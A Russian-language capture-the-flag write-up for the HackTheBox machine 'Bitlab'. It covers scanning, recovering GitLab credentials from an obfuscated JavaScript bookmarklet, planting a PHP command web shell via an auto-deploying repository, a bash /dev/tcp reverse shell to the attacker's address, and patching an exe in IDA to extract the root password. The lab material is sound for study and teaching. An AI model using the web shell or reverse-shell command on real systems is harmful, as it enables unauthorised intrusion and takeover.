![image](https://habrastorage.org/webt/lb/gt/fk/lbgtfkwlreiii6fg3o2nz_pt7-u.png)
Данной статьей я начну публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье разберемся с легенькой JavaScript обфускацией, загрузим бэкдор через репозиторий Git, и отладим 32- приложение.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Разведка
Сканирование портов
Данная машиина имеет IP адрес 10.10.10.114, который я добавляю в /etc/hosts.
10.10.10.114 bitlab.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000
![image](https://habrastorage.org/webt/or/ty/cm/ortycmbvp8d-g6dh8j5p06zvl-a.png)
Далее нужно собрать больше информации об известных нам портах.
nmap -A bitlab.htb -p22,80
![image](https://habrastorage.org/webt/mj/xq/oj/mjxqoj4wzsud45mgn2cl1pp6gwq.png)
Как следует из отчета nmap на хосте работает SSH и веб-сервер. Причем на веб-сервере имеется robots.txt. Пройдя по директориям из этого списка, отмечаем, что работает gitlab и имеется непроиндексированная дирректория help.
![image](https://habrastorage.org/webt/bb/z9/sd/bbz9sdv75mwcqbf58f6g4odcnj4.png)
Переходя на страницу bookmarks имеем несколько ссылок.
![image](https://habrastorage.org/webt/yw/dk/20/ywdk20gxveb0sukmjq8sl1ce9hw.png)
JS
Все указывают на сайт того или иного продукта, кроме последней, которая содержит не адрес, а JS код.
![image](https://habrastorage.org/webt/lz/b0/4r/lzb04rvftjgmznjahwlf4iqh0yu.png)
При чем данный код обфусцирован.
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Чтобы получить более читаемый код, можно воспольоваться следующим сайтом.
![image](https://habrastorage.org/webt/rt/ok/qn/rtokqngrjsuxcz5teijziyx3l-q.png)
Немного доработав код, получим выполнение следующих инструкций.
document.getElementById("user_login").value = "clave";
document.getElementById("user_password").value = "11des0081x";
Git
С этими аутентификационными данными авторизуемся в gitlab. Там находим два профиля.
![image](https://habrastorage.org/webt/at/oc/na/atocnanfa4yjiqva3o1pctdmhmk.png)
Так же можно обнаружить один проект, в котором происходит подключение к базе данных, в коде присутствую все данные для подключения.
![image](https://habrastorage.org/webt/qb/xp/lx/qbxplx4mzgp8_1vv2rdag82wn4i.png)
Проверив Profile ничего интересного не находим.
![image](https://habrastorage.org/webt/yw/58/46/yw5846lufr9c2fgxl2vqdqwjdqy.png)
В Deployer только php код.
![image](https://habrastorage.org/webt/su/x1/zo/sux1zou0txfcgbmq9w1pu7snb6q.png)
Из данного кода становится понятно, что если мы разместил в профиле разместим файл, то он будет развернут на сервере.
Entry Рoint
Нам нужно разместить рhр бэкдор. К пример, тот, который будет принимать и выполнять команды.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>
Для того открываем Profile и создаем новый файл.
![image](https://habrastorage.org/webt/fm/1q/ci/fm1qcijvlbn2xeg1mlspaiu2jr8.png)
![image](https://habrastorage.org/webt/mn/zn/g9/mnzng9pv1x377k6ehdgt4xbgrvw.png)
И после добавления наш файл появится в репозитории.
![image](https://habrastorage.org/webt/qq/m6/gz/qqm6gzbtb9hauhdzoyghv4wns1w.png)
Теперь тестируем бэкдор.
![image](https://habrastorage.org/webt/mm/6m/4e/mm6m4e_q-ts8eaeqaanmfeo3azq.png)
Теперь получим полноценный шелл.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1
![image](https://habrastorage.org/webt/r6/cm/z3/r6cmz3sanccb0quh8fc6isggyu0.png)
И видим обратное подключение к своему хосту.
![image](https://habrastorage.org/webt/iu/oy/xw/iuoyxwi2boaat_lmbem7v1hh4es.png)
USER
Попав на хост, обязательно необходимо проверить данные, приобретенные ранее. Это данные для доступа к базе данных.
Открываев интерпретатор PHP в интерактивном режиме. Используем найденный код и просматриваем найденные данные. Пароль пользователя в base64, декодируем его.
![image](https://habrastorage.org/webt/fz/ms/ch/fzmschfqgswgjxhlph2hr-rgir0.png)
Так мы узнаем пароль, которым видимо сможем подключиться по SSH. Но этого не вышло, так как base64 и есть пароль)).
![image](https://habrastorage.org/webt/x8/ge/6x/x8ge6xsrpcp2pfh-x9kzk1d3yim.png)
ROOT
Осматриваясь на машине, находим в домашней дирректории пользователя exe файл.
![image](https://habrastorage.org/webt/10/be/gr/10begrcdwcjnso7n1ojmzl4tf-g.png)
Скопируем его себе на хост для анализа.
scp clave@10.10.10.114:~/RemoteConnection.exe .
Далее открываем файл в IDA Pro. Пролистав главную функцию main, можно найти сравнение переменной с именем пользователя и создание процесса с putty — программа для сетевых соединений.
![image](https://habrastorage.org/webt/r1/oi/kp/r1oikpihtg3jattyr-davo5todo.png)
Можно предположить, что соединение происходит с предоставлением аутентификационных данных, и их нам нужно найти. Данные соединения будут передаваться putty в качестве параметра, т.е. переменной v3.
Можно посмотреть готовую строку при отладке, но в IDA 32-х битный файл крашится. Пошагово отладив, понимаем, что это происходит после вызова GetUserNameW. Поступаем следующим образом.
Ставим BP на фрагменте сравнения имени.
![image](https://habrastorage.org/webt/_m/jo/m4/_mjom4cmdotltqy2wn7olxo6ank.png)
Теперь ставим BP перед загрузкой параметров для функции GetUserNameW.
![image](https://habrastorage.org/webt/st/wz/er/stwzer7wy5tdfnyapjb2grsq3wo.png)
Запустим программу в отладчике. Отладка остановится перед вызовом нужной нам функции.
![image](https://habrastorage.org/webt/nj/i7/i5/nji7i5b9udqhxwyxjarz5f7yank.png)
Теперь патчим код. Вместо загрузки параметров и вызова функции нужно поставить инструкцию NOP. Я для этого использую плагин Keypatch.
![image](https://habrastorage.org/webt/ya/_e/sf/ya_esfz8x63uzkcpozssfztqmyc.png)
Теперь код выглядит так.
![image](https://habrastorage.org/webt/px/lr/3i/pxlr3i05e-qkpkbhfqbcug67gea.png)
Продолжим отладку программы, чтобы она остановилась на сравнении имени. В этот момент адрес строки параметра уже будет загружен в регистр EAX для передачи в качестве параметра ShellExecuteW.
![image](https://habrastorage.org/webt/ea/kb/xk/eakbxkkjzrqlcof5fkgf5sfn6by.png)
Теперь нажмем на стрелочку(jump in disassembly) рядом с регистром EAX. Это поволит перейти по адресу из EAX в главном окне IDA.
![image](https://habrastorage.org/webt/s5/-z/nc/s5-zncikj0g5tmdiyh5niad0hbo.png)
По данному адресу расположена строка параметра. Как можно видить она содержит симантически правильный текст “-ssh root… “. Но каждый символ представлен 2-я байтами. Чтобы удобно собрать строку нажмем Alt+A.
![image](https://habrastorage.org/webt/ob/vq/4n/obvq4newyoobvjcixwyhcj439qi.png)
И в данном окне выбираем Unicode C-Style (16 bit). После чего наблюдаем корректно собранную строку.
![image](https://habrastorage.org/webt/5_/n2/dq/5_n2dqpvmmfb49db2xptyskxdbu.png)
В данной строке имеется пароль рута. Подключаемся по ssh и забираем токен.
![image](https://habrastorage.org/webt/m4/8y/ma/m48ymaikjvxt9hpgeqw1t-xcxga.png)
Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.